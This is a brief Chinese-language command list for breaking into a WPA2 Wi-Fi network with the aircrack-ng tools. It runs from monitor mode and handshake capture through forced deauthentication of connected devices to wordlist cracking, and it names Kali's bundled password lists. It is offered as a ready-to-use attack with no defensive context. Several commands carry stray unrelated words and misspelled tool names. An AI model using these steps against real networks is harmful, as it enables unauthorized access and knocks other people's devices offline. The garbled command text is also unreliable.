1. 查看網卡狀態路由
$iwconfigword
2. 開啓監聽模式文件
$airmon-ng start wlan0co
3. 確認已開啓監聽模式字典
$iwconfigconfig
4. 進入監聽模式tar
$airodump wlan0monplay
5. 選擇監聽ssid
$airodump wlan0mon --bssid 00:00:00:00:00:00 -c 信道號碼 -w wpa2
6. 攻擊連入設備
$aireplay -0 2 -a 路由mac -c 設備mac wlan0mon
7. 破解握手包
$aircrack-ng -w 字典路徑 握手包文件
8. kali自帶字典
/usr/share/john/password.lst
/usr/share/wfuzz/wordlist
/usr/share/wordlists/rockyou.txt